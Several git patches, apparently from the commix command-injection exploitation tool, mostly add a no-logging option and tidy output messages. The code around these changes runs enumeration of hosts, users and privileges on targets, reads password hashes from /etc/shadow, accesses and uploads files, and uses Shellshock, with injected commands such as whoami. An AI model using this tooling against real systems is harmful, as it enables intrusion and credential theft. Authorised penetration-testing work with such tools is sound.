- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
@@ -93,8 +94,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -153,9 +155,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -200,8 +203,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account)
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
@@ -211,14 +215,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL == 0 and _:
@@ -228,8 +234,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
@@ -281,7 +288,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -309,7 +317,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -351,7 +360,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -366,7 +376,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -406,7 +417,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -416,7 +428,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -476,7 +489,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -488,7 +502,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
@@ -498,7 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -512,6 +528,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
cmd = menu.options.os_cmd
+ info_msg = "Executing '" + cmd + "' command."
+ print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
@@ -521,9 +539,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
return check_how_long, output
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n"
- logs.print_logs_notification(filename, url)
- raise SystemExit()
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(output))
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index d306f0f4ae..771ad24642 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -47,7 +47,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
- new_line = "\n"
+ # new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
@@ -65,15 +65,15 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
"""
Write to a file on the target host.
@@ -83,8 +83,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
@@ -92,11 +91,10 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
- content = base64.b64encode(content)
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
@@ -155,14 +153,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + "' file was created successfully!\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to "
- warn_msg += "write the '" + dest_to_upload + "' file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
+ warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
@@ -184,8 +180,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
@@ -214,14 +210,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "The '" + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + "' file was uploaded successfully!"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n")
- sys.stdout.flush()
+ info_msg = "The '" + shell
+ info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully."
+ print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to "
- warn_msg += "write the '" + dest_to_upload + "' file."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
+ warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
+ print(settings.print_warning_msg(warn_msg))
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 878f794768..8a06d385d2 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -531,8 +531,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- logs.print_logs_notification(filename, url)
- raise SystemExit()
+ # logs.print_logs_notification(filename, url)
+ # raise SystemExit()
if settings.VERBOSITY_LEVEL != 0 or not new_line:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index f3e07ab2c1..91ae71fff7 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -78,8 +78,9 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -107,9 +108,10 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
info_msg = "The target operating system is " + target_os
@@ -117,8 +119,9 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -140,8 +143,9 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account)
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if shell != "0":
@@ -149,14 +153,16 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
info_msg = "The current user is " + str(cu_account)
@@ -164,7 +170,8 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account) + "\n"
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account) + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -199,7 +206,8 @@ def enumeration(url, cve, check_header, filename):
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -214,7 +222,8 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -253,7 +262,8 @@ def enumeration(url, cve, check_header, filename):
print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -264,7 +274,8 @@ def enumeration(url, cve, check_header, filename):
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -309,7 +320,8 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -321,7 +333,8 @@ def enumeration(url, cve, check_header, filename):
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate (/etc/shadow) format
except IndexError:
@@ -332,7 +345,8 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
warn_msg = "It seems that you don't have permissions to read '"
@@ -352,8 +366,8 @@ def file_access(url, cve, check_header, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
if os.path.isfile(file_to_write):
@@ -386,7 +400,7 @@ def file_access(url, cve, check_header, filename):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
info_msg = "The " + shell + Style.RESET_ALL
- info_msg += Style.BRIGHT + " file was created successfully!"
+ info_msg += Style.BRIGHT + " file was created successfully."
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
else:
@@ -412,8 +426,8 @@ def file_access(url, cve, check_header, filename):
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
- sys.stdout.flush()
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Check the file-destination
@@ -436,7 +450,7 @@ def file_access(url, cve, check_header, filename):
if shell:
info_msg = "The " + shell
info_msg += Style.RESET_ALL + Style.BRIGHT
- info_msg += " file was uploaded successfully!\n"
+ info_msg += " file was uploaded successfully.\n"
sys.stdout.write(settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
else:
@@ -461,9 +475,10 @@ def file_access(url, cve, check_header, filename):
sys.stdout.flush()
print(shell)
output_file = open(filename, "a")
- info_msg = "The contents of file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The contents of file '"
+ info_msg += file_to_read + "' : " + shell + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
@@ -481,8 +496,8 @@ def file_access(url, cve, check_header, filename):
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option):
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ #if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
err_msg = "The " + os_shell_option.split("_")[0] + " "
err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 89a3e10250..e9bf540e38 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "40"
+REVISION = "41"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -477,11 +477,11 @@ def sys_argv_errors():
# Current user
CURRENT_USER = "whoami"
-WIN_CURRENT_USER = "echo %username%"
+WIN_CURRENT_USER = "echo %USERNAME%"
# The hostname
HOSTNAME = "hostname"
-WIN_HOSTNAME = "echo %computername%"
+WIN_HOSTNAME = "echo %COMPUTERNAME%"
# Check if current user is root
IS_ROOT = "echo $(id -u)"
From a14cefb3d8faa77ee0d2bf47cc9eca81b21d9de4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 24 Apr 2022 09:41:02 +0300
Subject: [PATCH 118/560] Fixes
https://github.com/commixproject/commix/issues/752
---
.../blind/techniques/time_based/tb_file_access.py | 6 +++---
.../results_based/techniques/classic/cb_file_access.py | 6 +++---
.../results_based/techniques/eval_based/eb_file_access.py | 6 +++---
.../semiblind/techniques/file_based/fb_file_access.py | 6 +++---
.../semiblind/techniques/tempfile_based/tfb_file_access.py | 6 +++---
src/core/modules/shellshock/shellshock.py | 6 +++---
src/utils/settings.py | 2 +-
7 files changed, 19 insertions(+), 19 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 67f49ecee8..3294541324 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -34,7 +34,7 @@
"""
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -77,7 +77,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = True
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -168,7 +168,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
# Not yet implemented
pass
else:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 20e6042e57..c887fcf06b 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -35,7 +35,7 @@
Read a file from the target host.
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_read = menu.options.file_read
+ file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
@@ -74,7 +74,7 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_write = menu.options.file_write
+ file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
@@ -165,7 +165,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
# Not yet implemented
pass
else:
- file_to_upload = menu.options.file_upload
+ file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
# check if remote file exists.
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
